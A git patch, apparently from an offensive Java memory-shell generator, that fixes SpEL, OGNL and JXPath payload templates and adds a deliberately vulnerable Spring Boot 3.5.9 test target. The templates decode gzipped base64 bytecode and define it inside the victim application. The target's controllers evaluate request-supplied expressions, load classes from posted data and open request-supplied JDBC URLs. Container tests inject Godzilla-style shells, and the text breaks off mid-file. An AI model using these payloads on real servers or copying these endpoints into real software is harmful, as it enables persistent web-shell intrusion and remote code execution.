From 0a9a68ee7f944bb766061bd90611d54652f969ec Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 24 May 2026 21:17:15 +0800 Subject: [PATCH] fix: SpELGzipPacker class not found --- .../workflows/memshell-integration-test.yml | 2 +- .github/workflows/probe-integration-test.yml | 2 +- .../javaweb/integration/ContainerTool.java | 1 + .../SpringBoot359ContainerTest.java | 90 +++++++++++++ .../SpringBoot359ExpressionContainerTest.java | 71 ++++++++++ .../SpringBoot3ExpressionContainerTest.java | 2 - .../jxpath/JXPathSpringGzipJDK17Packer.java | 2 +- .../ognl/OGNLSpringGzipJDK17Packer.java | 2 +- .../spel/SpELSpringGzipJDK17Packer.java | 2 +- settings.gradle.kts | 1 + vul/vul-springboot359/Dockerfile | 8 ++ vul/vul-springboot359/build.gradle.kts | 29 +++++ .../javaweb/vul/springboot3/ClassDefiner.java | 10 ++ .../VulSpringboot3Application.java | 12 ++ .../Base64ClassLoaderController.java | 24 ++++ .../BigIntegerClassLoaderController.java | 24 ++++ .../controller/IndexController.java | 123 ++++++++++++++++++ .../controller/JDBCController.java | 31 +++++ .../controller/JXPathController.java | 20 +++ .../controller/OgnlController.java | 25 ++++ .../controller/SpELController.java | 25 ++++ .../src/main/resources/application.properties | 1 + .../src/test/java/CommandExec.java | 15 +++ .../src/test/java/JDBCTest.java | 54 ++++++++ 24 files changed, 569 insertions(+), 7 deletions(-) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ExpressionContainerTest.java create mode 100644 vul/vul-springboot359/Dockerfile create mode 100644 vul/vul-springboot359/build.gradle.kts create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java create mode 100644 vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java create mode 100644 vul/vul-springboot359/src/main/resources/application.properties create mode 100644 vul/vul-springboot359/src/test/java/CommandExec.java create mode 100644 vul/vul-springboot359/src/test/java/JDBCTest.java diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index ba645153..0c992fd2 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -43,7 +43,7 @@ jobs: - middleware: "weblogic" depend_tasks: ":vul:vul-webapp:war" - middleware: "springwebmvc" - depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" + depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" - middleware: "springwebflux" depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" - middleware: "xxljob" diff --git a/.github/workflows/probe-integration-test.yml b/.github/workflows/probe-integration-test.yml index 0efa4cf1..6319d70b 100644 --- a/.github/workflows/probe-integration-test.yml +++ b/.github/workflows/probe-integration-test.yml @@ -41,7 +41,7 @@ jobs: - middleware: "weblogic" depend_tasks: ":vul:vul-webapp:war" - middleware: "springwebmvc" - depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" + depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar" - middleware: "struts2" depend_tasks: ":vul:vul-struts2:war" runs-on: ubuntu-22.04 diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index d8870486..a1df007d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -25,6 +25,7 @@ public class ContainerTool { public static final MountableFile springBoot2UndertowJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-undertow", "build", "libs", "vul-springboot2-undertow.jar").toAbsolutePath()); public static final MountableFile springBoot2WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2-webflux", "build", "libs", "vul-springboot2-webflux.jar").toAbsolutePath()); public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath()); + public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath()); public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath()); public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath(); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ContainerTest.java new file mode 100644 index 00000000..00e91bd8 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ContainerTest.java @@ -0,0 +1,90 @@ +package com.reajason.javaweb.integration.memshell.springwebmvc; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; +import java.util.stream.Stream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +public class SpringBoot359ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() + .imageName("eclipse-temurin:17.0.17_10-jdk") + .jarFile(ContainerTool.springBoot359JarFile) + .jakarta(true) + .jarDeployPath("/app/app.jar") + .command("java -jar /app/app.jar") + .server(Server.SpringWebMvc) + .pidScript(ContainerTool.springbootPid) + .targetJdkVersion(Opcodes.V17) + .enableJspPackerTest(false) + .contextPath("") + .healthCheckPath("/test") + .supportedShellTypes(List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, + ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET + )) + .testPackers(List.of(Packers.H2)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .probeShellTypes(List.of( + ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR, + ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER + )) + .build(); + + private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder() + .imageName("springboot3") + .server(Server.Tomcat) + .targetJdkVersion(Opcodes.V17) + .supportedShellTypes(List.of( + ShellType.JAKARTA_FILTER, +// ShellType.LISTENER, + ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_WEBSOCKET, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.H2)) + .unSupportedShellTools(List.of(ShellTool.AntSword)) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + static Stream tomcatCasesProvider() { + return generateTestCases(TOMCAT_CONFIG); + } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("tomcatCasesProvider") + void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { + runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer); + } + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ExpressionContainerTest.java new file mode 100644 index 00000000..527d1a04 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot359ExpressionContainerTest.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.integration.memshell.springwebmvc; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot359ExpressionContainerTest { + public static final String imageName = "springboot3"; + + @Container + public final static GenericContainer container = new GenericContainer<>("eclipse-temurin:17.0.17_10-jdk") + .withCopyFileToContainer(springBoot359JarFile, "/app/app.jar") + .withCommand("java -jar /app/app.jar") + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(springbootPid, "/fetch_pid.sh") + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); +// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17) + ); + } + + @ParameterizedTest(name = "{0}-expression|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java index 791e80b8..f58e1a84 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.integration.memshell.springwebmvc; import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ContainerTool; import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; @@ -14,7 +13,6 @@ import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; -import org.testcontainers.images.builder.ImageFromDockerfile; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java index 39d6eea2..20650255 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java @@ -11,7 +11,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC * @since 2024/12/13 */ public class JXPathSpringGzipJDK17Packer implements Packer { - String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))"; + String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(decode(java.util.Base64.getDecoder(), ('{{base64Str}}'))))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))"; @Override public String pack(ClassPackerConfig config) { diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java index 359db4c1..24465adf 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java @@ -12,7 +12,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC * @since 2025/7/7 */ public class OGNLSpringGzipJDK17Packer implements Packer { - String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()"; + String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@java.util.Base64@getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()"; @Override @SneakyThrows diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java index 8b6f47cb..caf5ea8a 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java @@ -9,7 +9,7 @@ import com.reajason.javaweb.packer.Packers; * @since 2024/12/13 */ public class SpELSpringGzipJDK17Packer implements Packer { - String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()"; + String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()"; @Override public String pack(ClassPackerConfig config) { diff --git a/settings.gradle.kts b/settings.gradle.kts index 585af9ed..b7dc9a8d 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -43,6 +43,7 @@ include("vul:vul-springboot2") include("vul:vul-springboot2-jetty") include("vul:vul-springboot2-undertow") include("vul:vul-springboot3") +include("vul:vul-springboot359") include("vul:vul-springboot2-webflux") include("vul:vul-springboot3-webflux") include("vul:vul-playframework") diff --git a/vul/vul-springboot359/Dockerfile b/vul/vul-springboot359/Dockerfile new file mode 100644 index 00000000..3e9b079b --- /dev/null +++ b/vul/vul-springboot359/Dockerfile @@ -0,0 +1,8 @@ +FROM eclipse-temurin:17.0.17_10-jdk +WORKDIR /app + +COPY build/libs/vul-springboot3.jar /app/app.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar app.jar \ No newline at end of file diff --git a/vul/vul-springboot359/build.gradle.kts b/vul/vul-springboot359/build.gradle.kts new file mode 100644 index 00000000..23166369 --- /dev/null +++ b/vul/vul-springboot359/build.gradle.kts @@ -0,0 +1,29 @@ +plugins { + id("java") + id("war") + id("org.springframework.boot") version "3.5.9" + id("io.spring.dependency-management") version "1.1.7" +} + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(17) + } +} + +dependencies { + implementation("org.springframework.boot:spring-boot-starter-web") + providedRuntime("org.springframework.boot:spring-boot-starter-tomcat") + testImplementation("org.springframework.boot:spring-boot-starter-test") + testImplementation("org.junit.jupiter:junit-jupiter-api") + testImplementation("org.junit.jupiter:junit-jupiter") + testRuntimeOnly("org.junit.platform:junit-platform-launcher") + runtimeOnly("com.h2database:h2") + implementation("ognl:ognl:2.7.3") + implementation("commons-jxpath:commons-jxpath:1.3") + implementation("commons-beanutils:commons-beanutils:1.9.3") +} + +tasks.test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java new file mode 100644 index 00000000..d52ed2ef --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/ClassDefiner.java @@ -0,0 +1,10 @@ +package com.reajason.javaweb.vul.springboot3; + +public class ClassDefiner extends ClassLoader { + private ClassDefiner() { + } + + public static Class defineClass(byte[] code) { + return new ClassDefiner().defineClass(null, code, 0, code.length); + } +} \ No newline at end of file diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java new file mode 100644 index 00000000..4c06ba9e --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/VulSpringboot3Application.java @@ -0,0 +1,12 @@ +package com.reajason.javaweb.vul.springboot3; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class VulSpringboot3Application { + + public static void main(String[] args) { + SpringApplication.run(VulSpringboot3Application.class, args); + } +} diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java new file mode 100644 index 00000000..96e19600 --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/Base64ClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import com.reajason.javaweb.vul.springboot3.ClassDefiner; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Base64; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +@RequestMapping("/b64") +public class Base64ClassLoaderController { + + @PostMapping + public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException { + byte[] bytes = Base64.getDecoder().decode(data); + Object o = ClassDefiner.defineClass(bytes).newInstance(); + return o.toString(); + } +} \ No newline at end of file diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java new file mode 100644 index 00000000..2bbdaca2 --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/BigIntegerClassLoaderController.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +@RestController +@RequestMapping("/biginteger") +public class BigIntegerClassLoaderController extends ClassLoader { + static byte[] decodeBigInteger(String bigIntegerStr) throws Exception { + Class decoderClass = Class.forName("java.math.BigInteger"); + return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX)); + } + + @PostMapping + public void base64ClassLoader(String data) throws Exception { + byte[] bytes = decodeBigInteger(data); + defineClass(null, bytes, 0, bytes.length).newInstance(); + } +} diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java new file mode 100644 index 00000000..1df49d6d --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/IndexController.java @@ -0,0 +1,123 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@RestController +public class IndexController { + + @RequestMapping("/test") + public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + return ""; + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName) throws + Exception { + return invokeMethod(obj, methodName, new Class[0], new Object[0]); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + } finally { + if (gzipInputStream != null) { + try { + gzipInputStream.close(); + } catch (IOException ignored) { + } + } + out.close(); + } + return out.toByteArray(); + } + + @SuppressWarnings("all") + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + return clazz.getDeclaredField(name); + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + try { + Field field = getField(obj, name); + field.setAccessible(true); + return field.get(obj); + } catch (NoSuchFieldException ignored) { + } + return null; + } + + @GetMapping("/") + public String index() { + return "hello"; + } +} diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java new file mode 100644 index 00000000..89e172b3 --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JDBCController.java @@ -0,0 +1,31 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.sql.Connection; +import java.sql.DriverManager; + +/** + * @author ReaJason + * @since 2025/6/27 + */ +@RestController +public class JDBCController { + + @PostMapping("/jdbc") + public void JDBC(String data) throws Exception { + try { + Connection connection = DriverManager.getConnection(data); + connection.close(); + } catch (Throwable e) { + Throwable ex = e.getCause(); + while (ex.getCause() != null) { + ex = ex.getCause(); + } + if (!(ex instanceof ClassCastException)) { + throw e; + } + } + } +} diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java new file mode 100644 index 00000000..3e2e6f00 --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java @@ -0,0 +1,20 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.apache.commons.jxpath.JXPathContext; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +@RestController +@RequestMapping("/jxpath") +public class JXPathController { + @PostMapping + protected Object doPost(String data) { + JXPathContext context = JXPathContext.newContext(null); + return context.getValue(data); + } +} diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java new file mode 100644 index 00000000..f3f0fe81 --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import ognl.Ognl; +import ognl.OgnlContext; +import ognl.OgnlException; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +@RestController +@RequestMapping("/ognl") +public class OgnlController { + @RequestMapping + protected Object doPost(String data) { + OgnlContext context = new OgnlContext(); + try { + return Ognl.getValue(data, context, context.getRoot()); + } catch (OgnlException e) { + throw new RuntimeException(e); + } + } +} diff --git a/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java new file mode 100644 index 00000000..a5e30252 --- /dev/null +++ b/vul/vul-springboot359/src/main/java/com/reajason/javaweb/vul/springboot3/controller/SpELController.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.springframework.expression.spel.standard.SpelExpressionParser; +import 